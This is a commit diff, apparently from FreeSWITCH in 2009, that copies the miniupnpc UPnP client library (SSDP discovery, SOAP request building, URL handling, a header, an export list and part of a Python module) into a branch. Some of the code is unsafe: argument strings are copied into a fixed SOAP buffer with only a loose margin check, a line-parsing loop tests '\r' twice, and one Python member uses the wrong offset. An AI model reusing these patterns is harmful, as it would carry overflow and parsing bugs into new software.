+#endif
+
+#define SOAPPREFIX "s"
+#define SERVICEPREFIX "u"
+#define SERVICEPREFIX2 'u'
+
+/* root description parsing */
+void parserootdesc(const char * buffer, int bufsize, struct IGDdatas * data)
+{
+	struct xmlparser parser;
+	/* xmlparser object */
+	parser.xmlstart = buffer;
+	parser.xmlsize = bufsize;
+	parser.data = data;
+	parser.starteltfunc = IGDstartelt;
+	parser.endeltfunc = IGDendelt;
+	parser.datafunc = IGDdata;
+	parser.attfunc = 0;
+	parsexml(&parser);
+#ifdef DEBUG
+	printIGD(data);
+#endif
+}
+
+/* Content-length: nnn */
+static int getcontentlenfromline(const char * p, int n)
+{
+	static const char contlenstr[] = "content-length";
+	const char * p2 = contlenstr;
+	int a = 0;
+	while(*p2)
+	{
+		if(n==0)
+			return -1;
+		if(*p2 != *p && *p2 != (*p + 32))
+			return -1;
+		p++; p2++; n--;
+	}
+	if(n==0)
+		return -1;
+	if(*p != ':')
+		return -1;
+	p++; n--;
+	while(*p == ' ')
+	{
+		if(n==0)
+			return -1;
+		p++; n--;
+	}
+	while(*p >= '0' && *p <= '9')
+	{
+		if(n==0)
+			return -1;
+		a = (a * 10) + (*p - '0');
+		p++; n--;
+	}
+	return a;
+}
+
+static void
+getContentLengthAndHeaderLength(char * p, int n,
+                                int * contentlen, int * headerlen)
+{
+	char * line;
+	int linelen;
+	int r;
+	line = p;
+	while(line < p + n)
+	{
+		linelen = 0;
+		while(line[linelen] != '\r' && line[linelen] != '\r')
+		{
+			if(line+linelen >= p+n)
+				return;
+			linelen++;
+		}
+		r = getcontentlenfromline(line, linelen);
+		if(r>0)
+			*contentlen = r;
+		line = line + linelen + 2;
+		if(line[0] == '\r' && line[1] == '\n')
+		{
+			*headerlen = (line - p) + 2;
+			return;
+		}
+	}
+}
+
+/* simpleUPnPcommand :
+ * not so simple !
+ * return values :
+ *   0 - OK
+ *  -1 - error */
+int simpleUPnPcommand(int s, const char * url, const char * service,
+                      const char * action, struct UPNParg * args,
+                      char * buffer, int * bufsize)
+{
+	struct sockaddr_in dest;
+	char hostname[MAXHOSTNAMELEN+1];
+	unsigned short port = 0;
+	char * path;
+	char soapact[128];
+	char soapbody[2048];
+	char * buf;
+	int buffree;
+    int n;
+	int contentlen, headerlen;	/* for the response */
+	snprintf(soapact, sizeof(soapact), "%s#%s", service, action);
+	if(args==NULL)
+	{
+		/*soapbodylen = */snprintf(soapbody, sizeof(soapbody),
+						"<?xml version=\"1.0\"?>\r\n"
+	    	              "<" SOAPPREFIX ":Envelope "
+						  "xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
+						  SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
+						  "<" SOAPPREFIX ":Body>"
+						  "<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">"
+						  "</" SERVICEPREFIX ":%s>"
+						  "</" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>"
+					 	  "\r\n", action, service, action);
+	}
+	else
+	{
+		char * p;
+		const char * pe, * pv;
+		int soapbodylen;
+		soapbodylen = snprintf(soapbody, sizeof(soapbody),
+						"<?xml version=\"1.0\"?>\r\n"
+	    	            "<" SOAPPREFIX ":Envelope "
+						"xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
+						SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
+						"<" SOAPPREFIX ":Body>"
+						"<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">",
+						action, service);
+		p = soapbody + soapbodylen;
+		while(args->elt)
+		{
+			/* check that we are never overflowing the string... */
+			if(soapbody + sizeof(soapbody) <= p + 100)
+			{
+				/* we keep a margin of at least 100 bytes */
+				*bufsize = 0;
+				return -1;
+			}
+			*(p++) = '<';
+			pe = args->elt;
+			while(*pe)
+				*(p++) = *(pe++);
+			*(p++) = '>';
+			if((pv = args->val))
+			{
+				while(*pv)
+					*(p++) = *(pv++);
+			}
+			*(p++) = '<';
+			*(p++) = '/';
+			pe = args->elt;
+			while(*pe)
+				*(p++) = *(pe++);
+			*(p++) = '>';
+			args++;
+		}
+		*(p++) = '<';
+		*(p++) = '/';
+		*(p++) = SERVICEPREFIX2;
+		*(p++) = ':';
+		pe = action;
+		while(*pe)
+			*(p++) = *(pe++);
+		strncpy(p, "></" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>\r\n",
+		        soapbody + sizeof(soapbody) - p);
+	}
+	if(!parseURL(url, hostname, &port, &path)) return -1;
+	if(s<0)
+	{
+		s = socket(PF_INET, SOCK_STREAM, 0);
+		if(s<0)
+		{
+			PRINT_SOCKET_ERROR("socket");
+			*bufsize = 0;
+			return -1;
+		}
+		dest.sin_family = AF_INET;
+		dest.sin_port = htons(port);
+		dest.sin_addr.s_addr = inet_addr(hostname);
+		if(connect(s, (struct sockaddr *)&dest, sizeof(struct sockaddr))<0)
+		{
+			PRINT_SOCKET_ERROR("connect");
+			closesocket(s);
+			*bufsize = 0;
+			return -1;
+		}
+	}
+
+	n = soapPostSubmit(s, path, hostname, port, soapact, soapbody);
+	if(n<=0) {
+#ifdef DEBUG
+		printf("Error sending SOAP request\n");
+#endif
+		closesocket(s);
+		return -1;
+	}
+
+	contentlen = -1;
+	headerlen = -1;
+	buf = buffer;
+	buffree = *bufsize;
+	*bufsize = 0;
+	while ((n = ReceiveData(s, buf, buffree, 5000)) > 0) {
+		buffree -= n;
+		buf += n;
+		*bufsize += n;
+		getContentLengthAndHeaderLength(buffer, *bufsize,
+		                                &contentlen, &headerlen);
+#ifdef DEBUG
+		printf("received n=%dbytes bufsize=%d ContLen=%d HeadLen=%d\n",
+		       n, *bufsize, contentlen, headerlen);
+#endif
+		/* break if we received everything */
+		if(contentlen > 0 && headerlen > 0 && *bufsize >= contentlen+headerlen)
+			break;
+	}
+	
+	closesocket(s);
+	return 0;
+}
+
+/* parseMSEARCHReply()
+ * the last 4 arguments are filled during the parsing :
+ *    - location/locationsize : "location:" field of the SSDP reply packet
+ *    - st/stsize : "st:" field of the SSDP reply packet.
+ * The strings are NOT null terminated */
+static void
+parseMSEARCHReply(const char * reply, int size,
+                  const char * * location, int * locationsize,
+			      const char * * st, int * stsize)
+{
+	int a, b, i;
+	i = 0;
+	a = i;	/* start of the line */
+	b = 0;
+	while(i<size)
+	{
+		switch(reply[i])
+		{
+		case ':':
+				if(b==0)
+				{
+					b = i; /* end of the "header" */
+					/*for(j=a; j<b; j++)
+					{
+						putchar(reply[j]);
+					}
+					*/
+				}
+				break;
+		case '\x0a':
+		case '\x0d':
+				if(b!=0)
+				{
+					/*for(j=b+1; j<i; j++)
+					{
+						putchar(reply[j]);
+					}
+					putchar('\n');*/
+					do { b++; } while(reply[b]==' ');
+					if(0==strncasecmp(reply+a, "location", 8))
+					{
+						*location = reply+b;
+						*locationsize = i-b;
+					}
+					else if(0==strncasecmp(reply+a, "st", 2))
+					{
+						*st = reply+b;
+						*stsize = i-b;
+					}
+					b = 0;
+				}
+				a = i+1;
+				break;
+		default:
+				break;
+		}
+		i++;
+	}
+}
+
+/* port upnp discover : SSDP protocol */
+#define PORT 1900
+#define XSTR(s) STR(s)
+#define STR(s) #s
+#define UPNP_MCAST_ADDR "239.255.255.250"
+
+/* upnpDiscover() :
+ * return a chained list of all devices found or NULL if
+ * no devices was found.
+ * It is up to the caller to free the chained list
+ * delay is in millisecond (poll) */
+struct UPNPDev * upnpDiscover(int delay, const char * multicastif,
+                              const char * minissdpdsock, int sameport)
+{
+	struct UPNPDev * tmp;
+	struct UPNPDev * devlist = 0;
+	int opt = 1;
+	static const char MSearchMsgFmt[] = 
+	"M-SEARCH * HTTP/1.1\r\n"
+	"HOST: " UPNP_MCAST_ADDR ":" XSTR(PORT) "\r\n"
+	"ST: %s\r\n"
+	"MAN: \"ssdp:discover\"\r\n"
+	"MX: 3\r\n"
+	"\r\n";
+	static const char * const deviceList[] = {
+		"urn:schemas-upnp-org:device:InternetGatewayDevice:1",
+		"urn:schemas-upnp-org:service:WANIPConnection:1",
+		"urn:schemas-upnp-org:service:WANPPPConnection:1",
+		"upnp:rootdevice",
+		0
+	};
+	int deviceIndex = 0;
+	char bufr[1536];	/* reception and emission buffer */
+	int sudp;
+	int n;
+	struct sockaddr_in sockudp_r, sockudp_w;
+
+#ifndef WIN32
+	/* first try to get infos from minissdpd ! */
+	if(!minissdpdsock)
+		minissdpdsock = "/var/run/minissdpd.sock";
+	while(!devlist && deviceList[deviceIndex]) {
+		devlist = getDevicesFromMiniSSDPD(deviceList[deviceIndex],
+		                                  minissdpdsock);
+		/* We return what we have found if it was not only a rootdevice */
+		if(devlist && !strstr(deviceList[deviceIndex], "rootdevice"))
+			return devlist;
+		deviceIndex++;
+	}
+	deviceIndex = 0;
+#endif
+	/* fallback to direct discovery */
+#ifdef WIN32
+	sudp = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
+#else
+	sudp = socket(PF_INET, SOCK_DGRAM, 0);
+#endif
+	if(sudp < 0)
+	{
+		PRINT_SOCKET_ERROR("socket");
+		return NULL;
+	}
+    /* reception */
+    memset(&sockudp_r, 0, sizeof(struct sockaddr_in));
+    sockudp_r.sin_family = AF_INET;
+	if(sameport)
+    	sockudp_r.sin_port = htons(PORT);
+    sockudp_r.sin_addr.s_addr = INADDR_ANY;
+    /* emission */
+    memset(&sockudp_w, 0, sizeof(struct sockaddr_in));
+    sockudp_w.sin_family = AF_INET;
+    sockudp_w.sin_port = htons(PORT);
+    sockudp_w.sin_addr.s_addr = inet_addr(UPNP_MCAST_ADDR);
+
+#ifdef WIN32
+	if (setsockopt(sudp, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof (opt)) < 0)
+#else
+	if (setsockopt(sudp, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (opt)) < 0)
+#endif
+	{
+		PRINT_SOCKET_ERROR("setsockopt");
+		return NULL;
+	}
+
+	if(multicastif)
+	{
+		struct in_addr mc_if;
+		mc_if.s_addr = inet_addr(multicastif);
+    	sockudp_r.sin_addr.s_addr = mc_if.s_addr;
+		if(setsockopt(sudp, IPPROTO_IP, IP_MULTICAST_IF, (const char *)&mc_if, sizeof(mc_if)) < 0)
+		{
+			PRINT_SOCKET_ERROR("setsockopt");
+		}
+	}
+
+	/* Avant d'envoyer le paquet on bind pour recevoir la reponse */
+    if (bind(sudp, (struct sockaddr *)&sockudp_r, sizeof(struct sockaddr_in)) != 0)
+	{
+        PRINT_SOCKET_ERROR("bind");
+		closesocket(sudp);
+		return NULL;
+    }
+
+	/* receiving SSDP response packet */
+	for(n = 0;;)
+	{
+	if(n == 0)
+	{
+		/* sending the SSDP M-SEARCH packet */
+		n = snprintf(bufr, sizeof(bufr),
+		             MSearchMsgFmt, deviceList[deviceIndex++]);
+		/*printf("Sending %s", bufr);*/
+		n = sendto(sudp, bufr, n, 0,
+		           (struct sockaddr *)&sockudp_w, sizeof(struct sockaddr_in));
+		if (n < 0) {
+			PRINT_SOCKET_ERROR("sendto");
+			closesocket(sudp);
+			return devlist;
+		}
+	}
+	/* Waiting for SSDP REPLY packet to M-SEARCH */
+	n = ReceiveData(sudp, bufr, sizeof(bufr), delay);
+	if (n < 0) {
+		/* error */
+		closesocket(sudp);
+		return devlist;
+	} else if (n == 0) {
+		/* no data or Time Out */
+		if (devlist || (deviceList[deviceIndex] == 0)) {
+			/* no more device type to look for... */
+			closesocket(sudp);
+			return devlist;
+		}
+	} else {
+		const char * descURL=NULL;
+		int urlsize=0;
+		const char * st=NULL;
+		int stsize=0;
+        /*printf("%d byte(s) :\n%s\n", n, bufr);*/ /* affichage du message */
+		parseMSEARCHReply(bufr, n, &descURL, &urlsize, &st, &stsize);
+		if(st&&descURL)
+		{
+			/*printf("M-SEARCH Reply:\nST: %.*s\nLocation: %.*s\n",
+			       stsize, st, urlsize, descURL); */
+			tmp = (struct UPNPDev *)malloc(sizeof(struct UPNPDev)+urlsize+stsize);
+			tmp->pNext = devlist;
+			tmp->descURL = tmp->buffer;
+			tmp->st = tmp->buffer + 1 + urlsize;
+			memcpy(tmp->buffer, descURL, urlsize);
+			tmp->buffer[urlsize] = '\0';
+			memcpy(tmp->buffer + urlsize + 1, st, stsize);
+			tmp->buffer[urlsize+1+stsize] = '\0';
+			devlist = tmp;
+		}
+	}
+	}
+}
+
+/* freeUPNPDevlist() should be used to
+ * free the chained list returned by upnpDiscover() */
+void freeUPNPDevlist(struct UPNPDev * devlist)
+{
+	struct UPNPDev * next;
+	while(devlist)
+	{
+		next = devlist->pNext;
+		free(devlist);
+		devlist = next;
+	}
+}
+
+static void
+url_cpy_or_cat(char * dst, const char * src, int n)
+{
+	if(  (src[0] == 'h')
+	   &&(src[1] == 't')
+	   &&(src[2] == 't')
+	   &&(src[3] == 'p')
+	   &&(src[4] == ':')
+	   &&(src[5] == '/')
+	   &&(src[6] == '/'))
+	{
+		strncpy(dst, src, n);
+	}
+	else
+	{
+		int l = strlen(dst);
+		if(src[0] != '/')
+			dst[l++] = '/';
+		if(l<=n)
+			strncpy(dst + l, src, n - l);
+	}
+}
+
+/* Prepare the Urls for usage...
+ */
+void GetUPNPUrls(struct UPNPUrls * urls, struct IGDdatas * data,
+                 const char * descURL)
+{
+	char * p;
+	int n1, n2, n3;
+	n1 = strlen(data->urlbase);
+	if(n1==0)
+		n1 = strlen(descURL);
+	n1 += 2;	/* 1 byte more for Null terminator, 1 byte for '/' if needed */
+	n2 = n1; n3 = n1;
+	n1 += strlen(data->scpdurl);
+	n2 += strlen(data->controlurl);
+	n3 += strlen(data->controlurl_CIF);
+
+	urls->ipcondescURL = (char *)malloc(n1);
+	urls->controlURL = (char *)malloc(n2);
+	urls->controlURL_CIF = (char *)malloc(n3);
+	/* maintenant on chope la desc du WANIPConnection */
+	if(data->urlbase[0] != '\0')
+		strncpy(urls->ipcondescURL, data->urlbase, n1);
+	else
+		strncpy(urls->ipcondescURL, descURL, n1);
+	p = strchr(urls->ipcondescURL+7, '/');
+	if(p) p[0] = '\0';
+	strncpy(urls->controlURL, urls->ipcondescURL, n2);
+	strncpy(urls->controlURL_CIF, urls->ipcondescURL, n3);
+	
+	url_cpy_or_cat(urls->ipcondescURL, data->scpdurl, n1);
+
+	url_cpy_or_cat(urls->controlURL, data->controlurl, n2);
+
+	url_cpy_or_cat(urls->controlURL_CIF, data->controlurl_CIF, n3);
+
+#ifdef DEBUG
+	printf("urls->ipcondescURL='%s' %d n1=%d\n", urls->ipcondescURL,
+	       strlen(urls->ipcondescURL), n1);
+	printf("urls->controlURL='%s' %d n2=%d\n", urls->controlURL,
+	       strlen(urls->controlURL), n2);
+	printf("urls->controlURL_CIF='%s' %d n3=%d\n", urls->controlURL_CIF,
+	       strlen(urls->controlURL_CIF), n3);
+#endif
+}
+
+void
+FreeUPNPUrls(struct UPNPUrls * urls)
+{
+	if(!urls)
+		return;
+	free(urls->controlURL);
+	urls->controlURL = 0;
+	free(urls->ipcondescURL);
+	urls->ipcondescURL = 0;
+	free(urls->controlURL_CIF);
+	urls->controlURL_CIF = 0;
+}
+
+
+int ReceiveData(int socket, char * data, int length, int timeout)
+{
+    int n;
+#ifndef WIN32
+    struct pollfd fds[1]; /* for the poll */
+    fds[0].fd = socket;
+    fds[0].events = POLLIN;
+    n = poll(fds, 1, timeout);
+    if(n < 0)
+    {
+        PRINT_SOCKET_ERROR("poll");
+        return -1;
+    }
+    else if(n == 0)
+    {
+        return 0;
+    }
+#else
+    fd_set socketSet;
+    TIMEVAL timeval;
+    FD_ZERO(&socketSet);
+    FD_SET(socket, &socketSet);
+    timeval.tv_sec = timeout / 1000;
+    timeval.tv_usec = (timeout % 1000) * 1000;
+    /*n = select(0, &socketSet, NULL, NULL, &timeval);*/
+    n = select(FD_SETSIZE, &socketSet, NULL, NULL, &timeval);
+    if(n < 0)
+    {
+        PRINT_SOCKET_ERROR("select");
+        return -1;
+    }
+    else if(n == 0)
+    {
+        return 0;
+    }    
+#endif
+	n = recv(socket, data, length, 0);
+	if(n<0)
+	{
+		PRINT_SOCKET_ERROR("recv");
+	}
+	return n;
+}
+
+int
+UPNPIGD_IsConnected(struct UPNPUrls * urls, struct IGDdatas * data)
+{
+	char status[64];
+	unsigned int uptime;
+	status[0] = '\0';
+	UPNP_GetStatusInfo(urls->controlURL, data->servicetype,
+	                   status, &uptime, NULL);
+	if(0 == strcmp("Connected", status))
+	{
+		return 1;
+	}
+	else
+		return 0;
+}
+
+
+/* UPNP_GetValidIGD() :
+ * return values :
+ *     0 = NO IGD found
+ *     1 = A valid connected IGD has been found
+ *     2 = A valid IGD has been found but it reported as
+ *         not connected
+ *     3 = an UPnP device has been found but was not recognized as an IGD
+ *
+ * In any non zero return case, the urls and data structures
+ * passed as parameters are set. Donc forget to call FreeUPNPUrls(urls) to
+ * free allocated memory.
+ */
+int
+UPNP_GetValidIGD(struct UPNPDev * devlist,
+                 struct UPNPUrls * urls,
+				 struct IGDdatas * data,
+				 char * lanaddr, int lanaddrlen)
+{
+	char * descXML;
+	int descXMLsize = 0;
+	struct UPNPDev * dev;
+	int ndev = 0;
+	int state; /* state 1 : IGD connected. State 2 : IGD. State 3 : anything */
+	if(!devlist)
+	{
+#ifdef DEBUG
+		printf("Empty devlist\n");
+#endif
+		return 0;
+	}
+	for(state = 1; state <= 3; state++)
+	{
+		for(dev = devlist; dev; dev = dev->pNext)
+		{
+			/* we should choose an internet gateway device.
+		 	* with st == urn:schemas-upnp-org:device:InternetGatewayDevice:1 */
+			descXML = miniwget_getaddr(dev->descURL, &descXMLsize,
+			   	                        lanaddr, lanaddrlen);
+			if(descXML)
+			{
+				ndev++;
+				memset(data, 0, sizeof(struct IGDdatas));
+				memset(urls, 0, sizeof(struct UPNPUrls));
+				parserootdesc(descXML, descXMLsize, data);
+				free(descXML);
+				descXML = NULL;
+				if(0==strcmp(data->servicetype_CIF,
+				   "urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1")
+				   || state >= 3 )
+				{
+				  GetUPNPUrls(urls, data, dev->descURL);
+
+#ifdef DEBUG
+				  printf("UPNPIGD_IsConnected(%s) = %d\n",
+				     urls->controlURL,
+			         UPNPIGD_IsConnected(urls, data));
+#endif
+				  if((state >= 2) || UPNPIGD_IsConnected(urls, data))
+					return state;
+				  FreeUPNPUrls(urls);
+				}
+				memset(data, 0, sizeof(struct IGDdatas));
+			}
+#ifdef DEBUG
+			else
+			{
+				printf("error getting XML description %s\n", dev->descURL);
+			}
+#endif
+		}
+	}
+	return 0;
+}
+
+/* UPNP_GetIGDFromUrl()
+ * Used when skipping the discovery process.
+ * return value :
+ *   0 - Not ok
+ *   1 - OK */
+int
+UPNP_GetIGDFromUrl(const char * rootdescurl,
+                   struct UPNPUrls * urls,
+                   struct IGDdatas * data,
+                   char * lanaddr, int lanaddrlen)
+{
+	char * descXML;
+	int descXMLsize = 0;
+	descXML = miniwget_getaddr(rootdescurl, &descXMLsize,
+	   	                       lanaddr, lanaddrlen);
+	if(descXML) {
+		memset(data, 0, sizeof(struct IGDdatas));
+		memset(urls, 0, sizeof(struct UPNPUrls));
+		parserootdesc(descXML, descXMLsize, data);
+		free(descXML);
+		descXML = NULL;
+		GetUPNPUrls(urls, data, rootdescurl);
+		return 1;
+	} else {
+		return 0;
+	}
+}
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.def

Copied: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.def (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniupnpc.def) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniupnpc.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniupnpc.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+LIBRARY
+; miniupnpc library
+
+EXPORTS
+; miniupnpc
+   upnpDiscover
+   freeUPNPDevlist
+   parserootdesc
+   UPNP_GetValidIGD
+   UPNP_GetIGDFromUrl
+   GetUPNPUrls
+   FreeUPNPUrls
+; miniwget
+   miniwget
+   miniwget_getaddr
+; upnpcommands
+   UPNP_GetTotalBytesSent
+   UPNP_GetTotalBytesReceived
+   UPNP_GetTotalPacketsSent
+   UPNP_GetTotalPacketsReceived
+   UPNP_GetStatusInfo
+   UPNP_GetConnectionTypeInfo
+   UPNP_GetExternalIPAddress
+   UPNP_GetLinkLayerMaxBitRates
+   UPNP_AddPortMapping
+   UPNP_DeletePortMapping
+   UPNP_GetPortMappingNumberOfEntries
+   UPNP_GetSpecificPortMappingEntry
+   UPNP_GetGenericPortMappingEntry 
+; upnperrors
+   strupnperror
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.h

Copied: freeswitch/branches/seven/libs/miniupnpc/miniupnpc.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniupnpc.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniupnpc.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniupnpc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+/* $Id: miniupnpc.h,v 1.18 2008/09/25 18:02:50 nanard Exp $ */
+/* Project: miniupnp
+ * http://miniupnp.free.fr/
+ * Author: Thomas Bernard
+ * Copyright (c) 2005-2006 Thomas Bernard
+ * This software is subjects to the conditions detailed
+ * in the LICENCE file provided within this distribution */
+#ifndef __MINIUPNPC_H__
+#define __MINIUPNPC_H__
+
+#include "declspec.h"
+#include "igd_desc_parse.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* Structures definitions : */
+struct UPNParg { const char * elt; const char * val; };
+
+int simpleUPnPcommand(int, const char *, const char *,
+                      const char *, struct UPNParg *,
+                      char *, int *);
+
+struct UPNPDev {
+	struct UPNPDev * pNext;
+	char * descURL;
+	char * st;
+	char buffer[2];
+};
+
+/* upnpDiscover()
+ * discover UPnP devices on the network.
+ * The discovered devices are returned as a chained list.
+ * It is up to the caller to free the list with freeUPNPDevlist().
+ * delay (in millisecond) is the maximum time for waiting any device
+ * response.
+ * If available, device list will be obtained from MiniSSDPd.
+ * Default path for minissdpd socket will be used if minissdpdsock argument
+ * is NULL.
+ * If multicastif is not NULL, it will be used instead of the default
+ * multicast interface for sending SSDP discover packets.
+ * If sameport is not null, SSDP packets will be sent from the source port
+ * 1900 (same as destination port) otherwise system assign a source port. */
+LIBSPEC struct UPNPDev * upnpDiscover(int delay, const char * multicastif,
+                                      const char * minissdpdsock, int sameport);
+/* freeUPNPDevlist()
+ * free list returned by upnpDiscover() */
+LIBSPEC void freeUPNPDevlist(struct UPNPDev * devlist);
+
+/* parserootdesc() :
+ * parse root XML description of a UPnP device and fill the IGDdatas
+ * structure. */
+LIBSPEC void parserootdesc(const char *, int, struct IGDdatas *);
+
+/* structure used to get fast access to urls
+ * controlURL: controlURL of the WANIPConnection
+ * ipcondescURL: url of the description of the WANIPConnection
+ * controlURL_CIF: controlURL of the WANCommonInterfaceConfig
+ */
+struct UPNPUrls {
+	char * controlURL;
+	char * ipcondescURL;
+	char * controlURL_CIF;
+};
+
+/* UPNP_GetValidIGD() :
+ * return values :
+ *     0 = NO IGD found
+ *     1 = A valid connected IGD has been found
+ *     2 = A valid IGD has been found but it reported as
+ *         not connected
+ *     3 = an UPnP device has been found but was not recognized as an IGD
+ *
+ * In any non zero return case, the urls and data structures
+ * passed as parameters are set. Donc forget to call FreeUPNPUrls(urls) to
+ * free allocated memory.
+ */
+LIBSPEC int
+UPNP_GetValidIGD(struct UPNPDev * devlist,
+                 struct UPNPUrls * urls,
+				 struct IGDdatas * data,
+				 char * lanaddr, int lanaddrlen);
+
+/* UPNP_GetIGDFromUrl()
+ * Used when skipping the discovery process.
+ * return value :
+ *   0 - Not ok
+ *   1 - OK */
+LIBSPEC int
+UPNP_GetIGDFromUrl(const char * rootdescurl,
+                   struct UPNPUrls * urls,
+                   struct IGDdatas * data,
+                   char * lanaddr, int lanaddrlen);
+
+LIBSPEC void GetUPNPUrls(struct UPNPUrls *, struct IGDdatas *, const char *);
+
+LIBSPEC void FreeUPNPUrls(struct UPNPUrls *);
+
+/* Reads data from the specified socket. 
+ * Returns the number of bytes read if successful, zero if no bytes were 
+ * read or if we timed out. Returns negative if there was an error. */
+int ReceiveData(int socket, char * data, int length, int timeout);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/miniupnpcmodule.c

Copied: freeswitch/branches/seven/libs/miniupnpc/miniupnpcmodule.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/miniupnpcmodule.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/miniupnpcmodule.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/miniupnpcmodule.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,460 @@
+/* $Id: miniupnpcmodule.c,v 1.13 2009/04/17 20:59:42 nanard Exp $*/
+/* Project : miniupnp
+ * Author : Thomas BERNARD
+ * website : http://miniupnp.tuxfamily.org/
+ * copyright (c) 2007 Thomas Bernard
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+#include <Python.h>
+#define STATICLIB
+#include "structmember.h"
+#include "miniupnpc.h"
+#include "upnpcommands.h"
+#include "upnperrors.h"
+
+/* for compatibility with Python < 2.4 */
+#ifndef Py_RETURN_NONE
+#define Py_RETURN_NONE return Py_INCREF(Py_None), Py_None
+#endif
+
+#ifndef Py_RETURN_TRUE
+#define Py_RETURN_TRUE return Py_INCREF(Py_True), Py_True
+#endif
+
+#ifndef Py_RETURN_FALSE
+#define Py_RETURN_FALSE return Py_INCREF(Py_False), Py_False
+#endif
+
+typedef struct {
+    PyObject_HEAD
+    /* Type-specific fields go here. */
+	struct UPNPDev * devlist;
+	struct UPNPUrls urls;
+	struct IGDdatas data;
+	unsigned int discoverdelay;	/* value passed to upnpDiscover() */
+	char lanaddr[16];	/* our ip address on the LAN */
+	char * multicastif;
+	char * minissdpdsocket;
+} UPnPObject;
+
+static PyMemberDef UPnP_members[] = {
+	{"lanaddr", T_STRING_INPLACE, offsetof(UPnPObject, lanaddr),
+	 READONLY, "ip address on the LAN"
+	},
+	{"discoverdelay", T_UINT, offsetof(UPnPObject, discoverdelay),
+	 0/*READWRITE*/, "value in ms used to wait for SSDP responses"
+	},
+	/* T_STRING is allways readonly :( */
+	{"multicastif", T_STRING, offsetof(UPnPObject, multicastif),
+	 0, "IP of the network interface to be used for multicast operations"
+	},
+	{"minissdpdsocket", T_STRING, offsetof(UPnPObject, multicastif),
+	 0, "path of the MiniSSDPd unix socket"
+	},
+	{NULL}
+};
+
+static void
+UPnPObject_dealloc(UPnPObject *self)
+{
+	freeUPNPDevlist(self->devlist);
+	FreeUPNPUrls(&self->urls);
+	self->ob_type->tp_free((PyObject*)self);
+}
+
+static PyObject *
+UPnP_discover(UPnPObject *self)
+{
+	struct UPNPDev * dev;
+	int i;
+	PyObject *res = NULL;
+	if(self->devlist)
+	{
+		freeUPNPDevlist(self->devlist);
+		self->devlist = 0;
+	}
+	self->devlist = upnpDiscover((int)self->discoverdelay/*timeout in ms*/,
+	                             0/* multicast if*/,
+	                             0/*minissdpd socket*/,
+								 0/*sameport flag*/);
+	/* Py_RETURN_NONE ??? */
+	for(dev = self->devlist, i = 0; dev; dev = dev->pNext)
+		i++;
+	res = Py_BuildValue("i", i);
+	return res;
+}
+
+static PyObject *
+UPnP_selectigd(UPnPObject *self)
+{
+	if(UPNP_GetValidIGD(self->devlist, &self->urls, &self->data,
+	                    self->lanaddr, sizeof(self->lanaddr)))
+	{
+		return Py_BuildValue("s", self->urls.controlURL);
+	}
+	else
+	{
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, "No UPnP device discovered");
+		return NULL;
+	}
+}
+
+static PyObject *
+UPnP_totalbytesent(UPnPObject *self)
+{
+	return Py_BuildValue("I",
+	           UPNP_GetTotalBytesSent(self->urls.controlURL_CIF,
+			                          self->data.servicetype_CIF));
+}
+
+static PyObject *
+UPnP_totalbytereceived(UPnPObject *self)
+{
+	return Py_BuildValue("I",
+	           UPNP_GetTotalBytesReceived(self->urls.controlURL_CIF,
+			                          self->data.servicetype_CIF));
+}
+
+static PyObject *
+UPnP_totalpacketsent(UPnPObject *self)
+{
+	return Py_BuildValue("I",
+	           UPNP_GetTotalPacketsSent(self->urls.controlURL_CIF,
+			                          self->data.servicetype_CIF));
+}
+
+static PyObject *
+UPnP_totalpacketreceived(UPnPObject *self)
+{
+	return Py_BuildValue("I",
+	           UPNP_GetTotalPacketsReceived(self->urls.controlURL_CIF,
+			                          self->data.servicetype_CIF));
+}
+
+static PyObject *
+UPnP_statusinfo(UPnPObject *self)
+{
+	char status[64];
+	char lastconnerror[64];
+	unsigned int uptime = 0;
+	int r;
+	status[0] = '\0';
+	lastconnerror[0] = '\0';
+	r = UPNP_GetStatusInfo(self->urls.controlURL, self->data.servicetype,
+	                   status, &uptime, lastconnerror);
+	if(r==UPNPCOMMAND_SUCCESS) {
+		return Py_BuildValue("(s,I,s)", status, uptime, lastconnerror);
+	} else {
+		/* TODO: have our own exception type ! */
+		PyErr_SetString(PyExc_Exception, strupnperror(r));
+		return NULL;
+	}
+}
+
+static PyObject *
+UPnP_connectiontype(UPnPObject *self)
+{
+	char connectionType[64];
+	int r;
+	connectionType[0] = '\0';
+	r = UPNP_GetConnectionTypeInfo(self->urls.controlURL,
+	                               self->data.servicetype,
+	                               connectionType);
+	if(r==UPNPCOMMAND_SUCCESS) {
+		return Py_BuildValue("s", connectionType);
+	} else {
